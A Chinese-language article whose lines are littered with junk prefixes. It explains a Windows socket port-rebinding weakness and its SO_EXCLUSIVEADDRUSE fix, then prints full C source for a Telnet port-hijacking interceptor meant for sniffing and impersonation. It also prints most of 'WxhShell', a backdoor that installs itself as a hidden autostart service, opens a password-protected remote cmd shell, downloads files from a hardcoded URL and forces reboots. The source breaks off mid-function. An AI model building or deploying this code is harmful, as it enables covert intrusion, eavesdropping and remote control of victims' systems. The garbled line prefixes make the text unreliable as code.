在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q-k~L\Ys s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
K0YUN^St _,G^#$pH saddr.sin_family = AF_INET;
MhaoD5*9 &IZthJqV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
E <O:
Ho_ 2zx:8b bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>sfH[b 6`V2-zv$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:)P Aj 'K8emt$d+ 这意味着什么?意味着可以进行如下的攻击:
7y/Pch cD!yd^QE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2u=Nb0 O]/BNacS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p3f>;|uh_ L)mb.U$`c| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<}vult^ *!W<yNrR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|cBeyqr Z2.S:y. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^o|Gx \/
9s< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Gl@-RLo Y*KHr`\C4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h^`!kp !.^%*6f #include
VvS ^f #include
'TdO6-X #include
X-mhz3Q&a #include
}2 X" DWORD WINAPI ClientThread(LPVOID lpParam);
+hW^wqk/. int main()
d9E'4Zm {
BY&+fKae WORD wVersionRequested;
FK:Tni DWORD ret;
!K0:0: WSADATA wsaData;
3r]m8Hp BOOL val;
5|pPzEA> SOCKADDR_IN saddr;
~Wox"h}( SOCKADDR_IN scaddr;
hM/:zC: int err;
1638U1 SOCKET s;
7YLG<G!v)] SOCKET sc;
Gfbeh % int caddsize;
Cxt_QyL? HANDLE mt;
tu%!j}3s DWORD tid;
L)!9+!PKD wVersionRequested = MAKEWORD( 2, 2 );
F(5(cr 7K err = WSAStartup( wVersionRequested, &wsaData );
`62iW3y if ( err != 0 ) {
Ck;>9> printf("error!WSAStartup failed!\n");
Kj+=?R~}S return -1;
w QnW2)9! }
;n"Nv}<C saddr.sin_family = AF_INET;
.0gF&>I} >w}5\4j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
> 0kZ-M5 ~dpU DF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
GCEcg&s=\S saddr.sin_port = htons(23);
#K[UqJ+x if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vp#A D9h1 {
(oKrIm printf("error!socket failed!\n");
MeSF,*lP return -1;
zt23on2 }
<NVSF6` val = TRUE;
/@!%/Kl //SO_REUSEADDR选项就是可以实现端口重绑定的
/Mg$t6vM if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~53uUT|B {
2^*a$OJ printf("error!setsockopt failed!\n");
D ^Cpgha return -1;
2L!wbeTb; }
[
BpZ{Ql //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p}r1@L s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3a_=e
B //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ew9\Y R} Tw{}Ht_Qq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
NukcBH {
(#t"u`_Ee ret=GetLastError();
=jWcD{;1I} printf("error!bind failed!\n");
;B,6v P# return -1;
Vh1R!>XY }
#KOr-Yg|U listen(s,2);
C(Bh<c0@ while(1)
7
B< {
}K8W%h<3S caddsize = sizeof(scaddr);
+Ui @3Q //接受连接请求
\N[Z58R !z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ev$\Ns^g$3 if(sc!=INVALID_SOCKET)
4~bbng {
AD** 4E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
L93PDp4v if(mt==NULL)
I&jiH) {
bGO[P<< printf("Thread Creat Failed!\n");
m4=[e! break;
Tf|?j=f }
&Ti:IC%M }
WFYbmfmV CloseHandle(mt);
lhN2xg5x }
^E)*i#."4 closesocket(s);
- s} WSACleanup();
V5ySOgzw, return 0;
a&?SRC'x }
Q^|ZoJS DWORD WINAPI ClientThread(LPVOID lpParam)
u@ "nVHgMJ {
;g:!WXd SOCKET ss = (SOCKET)lpParam;
2!7)7wlj0 SOCKET sc;
(pU@$H unsigned char buf[4096];
x+=Ko SOCKADDR_IN saddr;
t,f)!D$ long num;
(iT?uMRz DWORD val;
=`1#fQDt DWORD ret;
d&@>P&AT //如果是隐藏端口应用的话,可以在此处加一些判断
OIqisQ7ZB //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0|D^_1W`R saddr.sin_family = AF_INET;
d"P\ =`+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sv g`s,g saddr.sin_port = htons(23);
R?/!7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Tx+Bkfj {
r}9a31i printf("error!socket failed!\n");
b,k%n_&n return -1;
Hju7gP=y} }
!bPsJbIo> val = 100;
{#Lj,o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_`H2CXGg {
!'
D1aea5 ret = GetLastError();
4F-r }Fj3 return -1;
~"Kf+eFi }
<8JV`dTywC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FLqF!N\G {
\L-K}U>J ret = GetLastError();
@AvDV$F return -1;
tm"9` }
s y ]k if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2i~ tzo {
/YyimG7 printf("error!socket connect failed!\n");
hJkSk;^ closesocket(sc);
T;4& ^5n closesocket(ss);
Nx%]dOa return -1;
tR!!Q }
|>Q]q while(1)
R>r@I_ {
9i&(VzY[= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|#&{`3$CG[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
o!\Q, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
M;96Wm num = recv(ss,buf,4096,0);
\A{ [2 if(num>0)
s!vvAD;\ send(sc,buf,num,0);
dTE(+M-
Gr else if(num==0)
@scy v@5)F break;
SRUg2)d num = recv(sc,buf,4096,0);
:jJ;&t^^ if(num>0)
-w[j`}([P9 send(ss,buf,num,0);
y4V~fg; else if(num==0)
!4"!PrZDB break;
v>p UVM }
^AI5SjOUx closesocket(ss);
Xscm>.di closesocket(sc);
up# R9
d| return 0 ;
5$<\ }
^B>BA xrXfLujn% i gyTvt! ==========================================================
ja<!_^h=At Ih&rXQ$ 下边附上一个代码,,WXhSHELL
w$D&LA}(M _SW_I{fjr ==========================================================
"
hD6Z P,QI-, #include "stdafx.h"
,y>%m;jL H*gX90{!2 #include <stdio.h>
FLb
Q#c\ #include <string.h>
L"_l(<g #include <windows.h>
_#jR6g TY #include <winsock2.h>
o_(@v2G` #include <winsvc.h>
c2tf7fkH #include <urlmon.h>
d,hKy2 ;$VQRXq #pragma comment (lib, "Ws2_32.lib")
L/YEW7M #pragma comment (lib, "urlmon.lib")
k3 YDnMRA9 nn1T5; #define MAX_USER 100 // 最大客户端连接数
ytWTJ>L #define BUF_SOCK 200 // sock buffer
7,.3'cCL^ #define KEY_BUFF 255 // 输入 buffer
"-WEUz }[$qn| #define REBOOT 0 // 重启
wWaJ%z>3y #define SHUTDOWN 1 // 关机
^#V7\;v$G &&Uc%vIN #define DEF_PORT 5000 // 监听端口
l2&s4ERqSm c=^A3[AM #define REG_LEN 16 // 注册表键长度
%6%QE'D #define SVC_LEN 80 // NT服务名长度
dYEsSFB m /^2&@P7 // 从dll定义API
vmY 88Kx&S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MYmH?A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)Rlh[Y& r typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Im<i.a
<` typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R)>F*GsR jQV.U~25Q // wxhshell配置信息
%mO.ur>21 struct WSCFG {
|([|F|" int ws_port; // 监听端口
q[wVC
h char ws_passstr[REG_LEN]; // 口令
5C G
,l int ws_autoins; // 安装标记, 1=yes 0=no
JM&:dzyIP char ws_regname[REG_LEN]; // 注册表键名
/'ukeK+' char ws_svcname[REG_LEN]; // 服务名
fx"~WeVcO char ws_svcdisp[SVC_LEN]; // 服务显示名
GY3g`M
char ws_svcdesc[SVC_LEN]; // 服务描述信息
Wf}x"* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}OJ,<!v2pc int ws_downexe; // 下载执行标记, 1=yes 0=no
kf Xg\6uKc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^wtr~D| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
-Y{=bZS u $#HPwmd };
G<MX94? m|c5X)}- // default Wxhshell configuration
b.4H4LV struct WSCFG wscfg={DEF_PORT,
Q|CLis- "xuhuanlingzhe",
[8Yoz1(smA 1,
=8p *Ijs "Wxhshell",
HTa]T' "Wxhshell",
hb,G'IU "WxhShell Service",
x,+2k6Wn! "Wrsky Windows CmdShell Service",
dB=aq34l "Please Input Your Password: ",
Vt[Kr 1,
!e0OGf "
http://www.wrsky.com/wxhshell.exe",
/&eF,4 "Wxhshell.exe"
mZgYR~ };
|_H{B+. mT3'kUZ}] // 消息定义模块
"lT>V)NB' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Ibbpy++d[ char *msg_ws_prompt="\n\r? for help\n\r#>";
Wb;x
eG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
q
?qpUPzD char *msg_ws_ext="\n\rExit.";
ITmW/Im5 char *msg_ws_end="\n\rQuit.";
Vi5&%/Y char *msg_ws_boot="\n\rReboot...";
^]_5oFRIj char *msg_ws_poff="\n\rShutdown...";
S*D Bzl char *msg_ws_down="\n\rSave to ";
,5 ylrE jW<aAd char *msg_ws_err="\n\rErr!";
;"1 char *msg_ws_ok="\n\rOK!";
mD]^a;U[X |nu)=Ag char ExeFile[MAX_PATH];
'y?
HF@NJ int nUser = 0;
-:P`Rln HANDLE handles[MAX_USER];
/ DC\F5 G int OsIsNt;
"AayU
p&O-]o8 SERVICE_STATUS serviceStatus;
G^6\ OOSy SERVICE_STATUS_HANDLE hServiceStatusHandle;
`SN?4;N0 :VvJx] // 函数声明
IW&.JNcN int Install(void);
K;NaiRP#k int Uninstall(void);
2\'5LL3 int DownloadFile(char *sURL, SOCKET wsh);
NA<6s]Cs. int Boot(int flag);
jwW6m@+ void HideProc(void);
w~S~ int GetOsVer(void);
~=#jr0IZ int Wxhshell(SOCKET wsl);
3v:c".O2O void TalkWithClient(void *cs);
4pw:O^v int CmdShell(SOCKET sock);
WokQ
X" int StartFromService(void);
=I6u*$9< int StartWxhshell(LPSTR lpCmdLine);
&l| :1 !J%m 7A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bpv?$j-j VOID WINAPI NTServiceHandler( DWORD fdwControl );
z!0}Kj L(ni6- // 数据结构和表定义
3L5o8?[ SERVICE_TABLE_ENTRY DispatchTable[] =
-y1t;yU.L {
!arTR.b\ {wscfg.ws_svcname, NTServiceMain},
;=ci7IT' {NULL, NULL}
|#rP~Nj) };
wRLj>nc J]=2] oI2 // 自我安装
J ;e/S6l int Install(void)
L3
VyW8Y {
puPYM" char svExeFile[MAX_PATH];
OM4q/!)A] HKEY key;
%x5zs ]4^ strcpy(svExeFile,ExeFile);
|AS`MsbI9 (!iGQj(m // 如果是win9x系统,修改注册表设为自启动
Zt7Gf if(!OsIsNt) {
H5'Le{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wwI'n*Q'$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c~=yD:$ RegCloseKey(key);
|vLlEN/S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`;OEdeAM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U(t_uc5q RegCloseKey(key);
OlJkyL8| return 0;
Hswgv$n }
d mj T$a| }
<s737Rl }
?t{ 2y1 else {
dreEe s`| W2CQk // 如果是NT以上系统,安装为系统服务
|n_es)A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"VfV;)]|w if (schSCManager!=0)
G;CB%qXI {
3|FZ!8D SC_HANDLE schService = CreateService
(XDK&]U (
mn;Wqb/ schSCManager,
~LKX2Q:S wscfg.ws_svcname,
CaV>\E) wscfg.ws_svcdisp,
ly)b=ph& SERVICE_ALL_ACCESS,
+ mqz)-x SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
eK]$8l|LI SERVICE_AUTO_START,
DwLl}{r' SERVICE_ERROR_NORMAL,
nGdEJ svExeFile,
XJ.ERLR. NULL,
nYv`{0S+m NULL,
J% t[{ NULL,
N+[ |"v NULL,
w=txSF&Qr NULL
R
Wd#)3 );
Wxxnc#;lv if (schService!=0)
F|seBBu {
5%5z@Ka CloseServiceHandle(schService);
.vbUv3NI CloseServiceHandle(schSCManager);
7rdPA9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pSLv1d"9{ strcat(svExeFile,wscfg.ws_svcname);
Q.N, Q`P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
yye(^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<f'2dT@6 RegCloseKey(key);
NP {O return 0;
0qV"R7TW }
iQI$Y]Y7 }
mh4`,N CloseServiceHandle(schSCManager);
b)eKa40Z }
96&Y }
]q2g[D o5 m R? } gR return 1;
M]Y72K^ }
=R>%}5
zz4.gkU // 自我卸载
H(1(H0Kj" int Uninstall(void)
\"r*wae {
gmY*}d`
'f HKEY key;
!Hk$ t #xopJa Y if(!OsIsNt) {
LD~s@}yH> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.kGlUb?^Q RegDeleteValue(key,wscfg.ws_regname);
l u^fKQ RegCloseKey(key);
LQnkpy3A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^rKA=siz RegDeleteValue(key,wscfg.ws_regname);
R`RLq1WA RegCloseKey(key);
wK7wu. return 0;
A!K/92[#@ }
DM-8azq $ }
7sQw&yUL) }
||lI_B else {
l[2 d{r eqyZ|6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
WB=pRC@ if (schSCManager!=0)
KXgC]IO~ {
C(7Y5\"P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
::xH C4tw if (schService!=0)
2ja@NT {
.=VtMi$n if(DeleteService(schService)!=0) {
MBbycI, CloseServiceHandle(schService);
%("Bq"Q8 CloseServiceHandle(schSCManager);
t ._PS3 return 0;
9Q#eu~R }
@[qGoai CloseServiceHandle(schService);
86^xq#+Uw }
Rv)!p~V8 CloseServiceHandle(schSCManager);
;?y*@*2u }
nC3U%*l }
vu%:0p`K hm%'k~ return 1;
GnE%C2L- }
ERW>G{+ 9q2 >_Mv // 从指定url下载文件
+P7A`{Ae int DownloadFile(char *sURL, SOCKET wsh)
3sk$B%a>Z {
4DVkycM HRESULT hr;
JeR8Mb char seps[]= "/";
FT1h\K|a char *token;
1`tE Hu. char *file;
h SZ0 }/ char myURL[MAX_PATH];
ZD9UE3- char myFILE[MAX_PATH];
&=sVq^d@qe H<M
ggs- strcpy(myURL,sURL);
959i2z token=strtok(myURL,seps);
1@nGD<,. while(token!=NULL)
i>9/vwe {
P&/PCSf file=token;
3dnL\AqC token=strtok(NULL,seps);
xg}RpC! }
nb:J" p%A(5DE GetCurrentDirectory(MAX_PATH,myFILE);
!@ml^&hP strcat(myFILE, "\\");
o0~+%& strcat(myFILE, file);
sW~Z?PFP send(wsh,myFILE,strlen(myFILE),0);
Ge+&C RhyX send(wsh,"...",3,0);
B)F2SK<@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u"K-mr#$[o if(hr==S_OK)
)$/Gh&1G return 0;
27-<q5q else
H}NW? return 1;
rsP3?.E "hU'o& }
eH2.,wY1 )*@Oz // 系统电源模块
EO'[AU% ~ int Boot(int flag)
k;p:P ?s5Y {
R>"E Xq HANDLE hToken;
WV5gH*uUa TOKEN_PRIVILEGES tkp;
L&qzX) kb?QQ\e if(OsIsNt) {
Dg]ua5jk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)-824?Nl: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"t+VF4r tkp.PrivilegeCount = 1;
oy!W$ ?6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
. `lcxC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
I"E5XVC); if(flag==REBOOT) {
tw8@&8" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
YMG{xGPtM return 0;
,UQ4`Mh^L }
tvptawA. else {
o<e AZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
vN%zk(?T return 0;
\xk`o5/{ }
CTt3W>'=+ }
aWVJx@f else {
" *xQN "F if(flag==REBOOT) {
`LL#Ai a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
xW{_c[oA return 0;
+/q%29-k }
H~+D2A else {
hq/k}Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]*pALT6 return 0;
PA"xb3@I }
OvU]|4h }
([s}bD.9 qFmvc return 1;
*5 FSq }
De[!^/f;T yqqP7 // win9x进程隐藏模块
]%(hZZ void HideProc(void)
/reSU 2 {
.:c^G[CQ^9 i/*&; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Py6c=&* if ( hKernel != NULL )
!z X`M1J {
Yt2_*K@rC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\1f$]oS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
bT>%
* FreeLibrary(hKernel);
;}3wT,=sN }
J'y*;@4l^: BCF-lrZ& return;
$lci{D32, }
?<,9X06dP =-{+y(<"r // 获取操作系统版本
4~4PZ int GetOsVer(void)
VB*$lxX {
noa?p&Y1m OSVERSIONINFO winfo;
5bGV91 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
c]F$$BT GetVersionEx(&winfo);
FJo N"X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O'U0Y8HN return 1;
L~Epd.,Dt else
R>[2}R30 return 0;
|~k=:sSz{ }
L.lmbxn ;PI=jp // 客户端句柄模块
|h(!CFR int Wxhshell(SOCKET wsl)
#ldNWwvRGj {
w``t"v4 SOCKET wsh;
wH~Q4)#=o struct sockaddr_in client;
T5,/;e DWORD myID;
83:m7; A/%K= H? while(nUser<MAX_USER)
~R7rIP8Wr {
2pH2s\r<UJ int nSize=sizeof(client);
z}yntY]n wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
J`;G9'n2 if(wsh==INVALID_SOCKET) return 1;
eI8^T? }8GCOY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
|HI=ykfI if(handles[nUser]==0)
PX52a[wNDH closesocket(wsh);
^%|{>Mz;c else
Jz 'm&mu nUser++;
lQ!ukl) }
]K?z|&N|HK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`,Q
uO TLl*gED return 0;
k
uU,7<o }
;o_4)+} 3\|e8(bc // 关闭 socket
KWCA9.w4q void CloseIt(SOCKET wsh)
AnG/A!G {
CT3wd?)z` closesocket(wsh);
"T?%4^:g nUser--;
(A\qZtnyl ExitThread(0);
_;W}_p}q{ }
/cexd_l|f <a2t"rc // 客户端请求句柄
-o6K_R}R void TalkWithClient(void *cs)
? QwDV` {
oat*ORL ik_Ll| SOCKET wsh=(SOCKET)cs;
.<^dv?@ char pwd[SVC_LEN];
rOE[c char cmd[KEY_BUFF];
5[]7baO)h1 char chr[1];
&`Q0&8d5 int i,j;
.1.n{4z>: 0XSZ3dY&+ while (nUser < MAX_USER) {
@fRB0m"3 v)!Rir5 if(wscfg.ws_passstr) {
U:~O^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M/:kh,3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YMj
z,N //ZeroMemory(pwd,KEY_BUFF);
[IF3,C i=0;
Tf
Q(f? while(i<SVC_LEN) {
,E$^i~OO !h}x,=`z/ // 设置超时
>1T=Aw2Z. fd_set FdRead;
{tk42}8k struct timeval TimeOut;
Dsw(ti`@ FD_ZERO(&FdRead);
]Hc`<P
FD_SET(wsh,&FdRead);
aN}yS=(Ff TimeOut.tv_sec=8;
HZ5*PXg~ TimeOut.tv_usec=0;
;XSV}eLu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`]_#_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o>311(: hvQOwA;e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R#1h.8 pwd
=chr[0]; qm4 Ejc<
if(chr[0]==0xd || chr[0]==0xa) { K:c5Yq^
pwd=0; +IK~a9t
break; `XB(d@%
} HtgVD~[]
i++; &=nwb4
} dMCV
!$
m!er"0
// 如果是非法用户,关闭 socket D!Owm&We
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H\W60|z9
} CA7tI >y_
U2$e?1y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >#Y8#-$zc
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I5wf|wB-
A 7'dD$9
while(1) { 0V{-5-.
id\0yRBt
ZeroMemory(cmd,KEY_BUFF); 6P;IKOv^
eY"y[
// 自动支持客户端 telnet标准 "KcSOjvJ
j=0; yP :>vFd7
while(j<KEY_BUFF) { 7h<B:~(K
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T12?'JL^r
cmd[j]=chr[0]; .!\y<9
if(chr[0]==0xa || chr[0]==0xd) { Q[;!z1ur
cmd[j]=0; 'M=(5p
break; Yn+/yz5k_
} &Y\Vh}
j++; [( BA:x1
} q{n~v>wU
q@~N?$>
// 下载文件 !sfOde)$
if(strstr(cmd,"http://")) { bqJL@!T
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8wp)aGTcU
if(DownloadFile(cmd,wsh)) /FJAI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +M$2:[xRT
else NS6#od
ZeV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M}!7/8HUC
} $2A%y14
else { 1`Cr1pH
!`hiXDk*2
switch(cmd[0]) { ,}2M'DSWa
b7E= u0
// 帮助 N8m|Y]^H#
case '?': { 0t*JP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "[L[*>[9!
break; ,DqI> vx|
} l}j5EWe
// 安装 3Ew-Ia%A
case 'i': { .t.H(Q9
if(Install()) (=}U2GD*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'uGn1|Pvy
else s4Lqam!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5?kJ]:
break; (Gf1#,/3~
} +yiGZV/X
// 卸载 v*7}ux8
case 'r': { 'b]GcAL
if(Uninstall()) UpL?6)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aa[p7{e
else #WwQ^6ESc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |!euty ::
break; i64a]=
} kIWQ
_2
// 显示 wxhshell 所在路径 q+.DZ
@
case 'p': { PCF!Y(l
char svExeFile[MAX_PATH]; EpB2?XGA
strcpy(svExeFile,"\n\r"); v~[=|_{
strcat(svExeFile,ExeFile); |GM?4'2M.
send(wsh,svExeFile,strlen(svExeFile),0); >KH.~Jfy
break; \\AufAkJ
} 'e_^s+l)a
// 重启 biKom|<nm
case 'b': { lZ.x@hDS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OE]zC
if(Boot(REBOOT)) ?wt%e;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }
1^/[?
else { (zIP@ H
closesocket(wsh); AWsO?|YT
ExitThread(0); !*HH5qh6
} *kY\,r&!P
break; sXDS_Q
} 0%+S@_|
// 关机 %W~Kx_
case 'd': { Ch%W
C,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mRZC98$ @r
if(Boot(SHUTDOWN)) -lV]((I&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >&6pBtC_
else { K:gxGRE
closesocket(wsh); _tTtq/z<
ExitThread(0); DygMavA.
} eu@hmR8T
break; ~B;kFdcVXn
} JV(qTb W
// 获取shell +dq&9N/
case 's': { q4'szDYO2
CmdShell(wsh); 3`uv/O2~i
closesocket(wsh); B38_1X7
ExitThread(0); MlaViw
break; pp@Jndlg
} Cx2s5vJX4p
// 退出 c ]M!4.
case 'x': { bRT1~)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =)5O(h
CloseIt(wsh); N7Vv"o
break; M]4qS('[
} Z
6KM%R
// 离开 S
L<P`H|
case 'q': { 1DVu`<OXcH
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }tA77Cm)45
closesocket(wsh); 8dgI&t
WSACleanup(); "| cNY_$&s
exit(1); Sm(X/P=z
break; EvSo|}JA[
} c]LE9<G
} :tU&d(8
} 2k;>nlVxX
mRU-M|
// 提示信息 ,<R/jHZP9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0t[|3A~Q
} x>:~=#Vi
} s\2t|d
*'4+kj7>
return; cdiDfiE
} .|W0B+Z8
V'?bZcRr~
// shell模块句柄 |s[kY
int CmdShell(SOCKET sock) Gu[G_^>
{ &XAG|
#
STARTUPINFO si; ;D.a |(Q
ZeroMemory(&si,sizeof(si)); h6J0b_3h4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jm8{@D%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g(Q)fw
PROCESS_INFORMATION ProcessInfo; l2H-E&'=
char cmdline[]="cmd"; P`r@<cgb=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \GhL{Awv&a
return 0;
2..b/
} [ u7p:?WDW
Wy1#K)LRb
// 自身启动模式 $>Md]/I8
int StartFromService(void) r9nH6 Md\
{ *nJy
typedef struct ^ [FK<9
{ YZ>L\
DWORD ExitStatus; RhwqAok|lj
DWORD PebBaseAddress; r:pS[f|4\
DWORD AffinityMask; XG_h\NIL
